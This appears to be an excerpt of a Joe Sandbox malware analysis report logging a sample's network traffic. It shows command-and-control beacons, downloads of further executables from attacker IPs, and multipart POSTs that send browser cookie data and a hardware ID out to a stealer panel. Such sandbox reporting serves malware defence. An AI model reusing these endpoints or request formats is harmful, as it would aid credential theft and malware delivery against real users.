Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000001001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /inc/crypted.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000002001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBKFCFBFIDGCGDHJDBKFHost: 85.28.47.31Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 44 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 37 33 38 34 38 32 34 39 30 33 42 33 30 32 33 30 31 31 38 35 39 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 44 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 44 42 4b 46 2d 2d 0d 0a Data Ascii: ------FBKFCFBFIDGCGDHJDBKFContent-Disposition: form-data; name="hwid"07384824903B3023011859------FBKFCFBFIDGCGDHJDBKFContent-Disposition: form-data; name="build"sila------FBKFCFBFIDGCGDHJDBKF--
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000002001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /inc/5447jsX.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000003001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /inc/crypteda.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000004001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000005001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000005001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /inc/25072023.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /744f169d372be841.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFIEGIECGCBKFIEBGCAAHost: 85.28.47.70Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 37 33 38 34 38 32 34 39 30 33 42 33 30 32 33 30 31 31 38 35 39 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 51 4c 4c 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 41 2d 2d 0d 0a Data Ascii: ------AFIEGIECGCBKFIEBGCAAContent-Disposition: form-data; name="hwid"07384824903B3023011859------AFIEGIECGCBKFIEBGCAAContent-Disposition: form-data; name="build"QLL------AFIEGIECGCBKFIEBGCAA--
Source: global traffic	HTTP traffic detected: POST /744f169d372be841.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAFIEBKKJJDAKFHIDBFHHost: 85.28.47.70Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 46 49 45 42 4b 4b 4a 4a 44 41 4b 46 48 49 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 62 35 64 39 30 63 62 37 63 34 61 30 62 64 61 30 64 34 33 66 36 30 31 64 34 34 64 38 31 61 36 38 31 39 37 63 36 65 33 62 33 36 37 63 37 33 32 30 36 30 34 31 65 34 31 62 66 31 62 34 36 36 34 64 66 66 65 33 64 39 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 45 42 4b 4b 4a 4a 44 41 4b 46 48 49 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 45 42 4b 4b 4a 4a 44 41 4b 46 48 49 44 42 46 48 2d 2d 0d 0a Data Ascii: ------CAFIEBKKJJDAKFHIDBFHContent-Disposition: form-data; name="token"40b5d90cb7c4a0bda0d43f601d44d81a68197c6e3b367c73206041e41bf1b4664dffe3d9------CAFIEBKKJJDAKFHIDBFHContent-Disposition: form-data; name="message"browsers------CAFIEBKKJJDAKFHIDBFH--
Source: global traffic	HTTP traffic detected: POST /744f169d372be841.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFIDBAFHCAKFBGCBFHIJHost: 85.28.47.70Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 44 42 41 46 48 43 41 4b 46 42 47 43 42 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 62 35 64 39 30 63 62 37 63 34 61 30 62 64 61 30 64 34 33 66 36 30 31 64 34 34 64 38 31 61 36 38 31 39 37 63 36 65 33 62 33 36 37 63 37 33 32 30 36 30 34 31 65 34 31 62 66 31 62 34 36 36 34 64 66 66 65 33 64 39 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 44 42 41 46 48 43 41 4b 46 42 47 43 42 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 44 42 41 46 48 43 41 4b 46 42 47 43 42 46 48 49 4a 2d 2d 0d 0a Data Ascii: ------KFIDBAFHCAKFBGCBFHIJContent-Disposition: form-data; name="token"40b5d90cb7c4a0bda0d43f601d44d81a68197c6e3b367c73206041e41bf1b4664dffe3d9------KFIDBAFHCAKFBGCBFHIJContent-Disposition: form-data; name="message"plugins------KFIDBAFHCAKFBGCBFHIJ--
Source: global traffic	HTTP traffic detected: POST /744f169d372be841.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAAKKFHCFIECAAAKEGCFHost: 85.28.47.70Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 62 35 64 39 30 63 62 37 63 34 61 30 62 64 61 30 64 34 33 66 36 30 31 64 34 34 64 38 31 61 36 38 31 39 37 63 36 65 33 62 33 36 37 63 37 33 32 30 36 30 34 31 65 34 31 62 66 31 62 34 36 36 34 64 66 66 65 33 64 39 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 2d 2d 0d 0a Data Ascii: ------CAAKKFHCFIECAAAKEGCFContent-Disposition: form-data; name="token"40b5d90cb7c4a0bda0d43f601d44d81a68197c6e3b367c73206041e41bf1b4664dffe3d9------CAAKKFHCFIECAAAKEGCFContent-Disposition: form-data; name="message"fplugins------CAAKKFHCFIECAAAKEGCF--
Source: global traffic	HTTP traffic detected: POST /744f169d372be841.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAFHIDGIJKJKECBGDBGHHost: 85.28.47.70Content-Length: 6491Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /c10a74a0c2f42c12/sqlite3.dll HTTP/1.1Host: 85.28.47.70Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000009001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /744f169d372be841.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJJDAAECGHDGDGCGHDBHost: 85.28.47.70Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 44 41 41 45 43 47 48 44 47 44 47 43 47 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 62 35 64 39 30 63 62 37 63 34 61 30 62 64 61 30 64 34 33 66 36 30 31 64 34 34 64 38 31 61 36 38 31 39 37 63 36 65 33 62 33 36 37 63 37 33 32 30 36 30 34 31 65 34 31 62 66 31 62 34 36 36 34 64 66 66 65 33 64 39 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 44 41 41 45 43 47 48 44 47 44 47 43 47 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 44 41 41 45 43 47 48 44 47 44 47 43 47 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4e 7a 59 31 4e 44 45 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 55 74 4d 44 63 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 6b 31 4e 7a 51 77 43 55 35 4a 52 41 6b 31 4d 54 45 39 62 6b 35 68 5a 48 46 58 4f 58 56 55 59 31 6b 77 54 31 41 32 53 54 4e 68 5a 6d 35 79 4e 7a 46 76 4e 6b 56 36 59 56 6c 4d 63 32 52 77 56 7a 52 56 52 56 6c 4f 4d 33 5a 5a 63 56 39 79 59 6c 4a 79 54 6b 5a 34 54 54 46 71 62 33 70 51 52 33 56 6f 61 6b 39 53 51 6c 70 4c 53 30 31 36 4d 6e 52 6b 52 48 42 57 5a 54 64 6b 54 6e 56 55 56 33 41 30 51 33 6c 4c 4c 58 70 30 4e 55 6c 7a 4e 6e 64 57 52 57 78 32 5a 56 64 42 5a 6b 74 52 5a 33 64 4f 53 6d 6c 4c 53 33 52 59 53 45 4e 44 51 32 31 79 62 47 64 36 57 6c 52 73 4e 55 4e 70 53 32 70 55 5a 55 45 79 61 56 46 78 5a 6a 5a 36 62 46 4a 4c 4d 6d 67 34 64 32 63 78 61 46 5a 77 53 58 4e 58 63 32 46 4c 63 57 46 58 53 6e 6c 49 54 56 42 47 4d 30 70 42 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 44 41 41 45 43 47 48 44 47 44 47 43 47 48 44 42 2d 2d 0d 0a Data Ascii: ------JJJJDAAECGHDGDGCGHDBContent-Disposition: form-data; name="token"40b5d90cb7c4a0bda0d43f601d44d81a68197c6e3b367c73206041e41bf1b4664dffe3d9------JJJJDAAECGHDGDGCGHDBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------JJJJDAAECGHDGDGCGHDBContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwNzY1NDEJMVBfSkFSCTIwMjMtMTAtMDUtMDcKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjk1NzQwCU5JRAk1MTE9bk5hZHFXOXVUY1kwT1A2STNhZm5yNzFvNkV6YVlM
Source: global traffic	HTTP traffic detected: POST /744f169d372be841.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJDHJKFIECAAKFIJJKJHost: 85.28.47.70Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 62 35 64 39 30 63 62 37 63 34 61 30 62 64 61 30 64 34 33 66 36 30 31 64 34 34 64 38 31 61 36 38 31 39 37 63 36 65 33 62 33 36 37 63 37 33 32 30 36 30 34 31 65 34 31 62 66 31 62 34 36 36 34 64 66 66 65 33 64 39 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 2d 2d 0d 0a Data Ascii: ------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="token"40b5d90cb7c4a0bda0d43f601d44d81a68197c6e3b367c73206041e41bf1b4664dffe3d9------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="file"------EHJDHJKFIECAAKFIJJKJ--

Source: Joe Sandbox View	IP Address: 85.28.47.31 85.28.47.31
Source: Joe Sandbox View	IP Address: 152.195.19.97 152.195.19.97
Source: Joe Sandbox View	IP Address: 162.159.61.3 162.159.61.3

Source: Joe Sandbox View

ASN Name: GES-ASRU GES-ASRU

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Code function: 17_2_00EABD60 InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

17_2_00EABD60

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=MTZEfNpWBwHMvR5&MD=yX7ZAh+D HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=MTZEfNpWBwHMvR5&MD=yX7ZAh+D HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
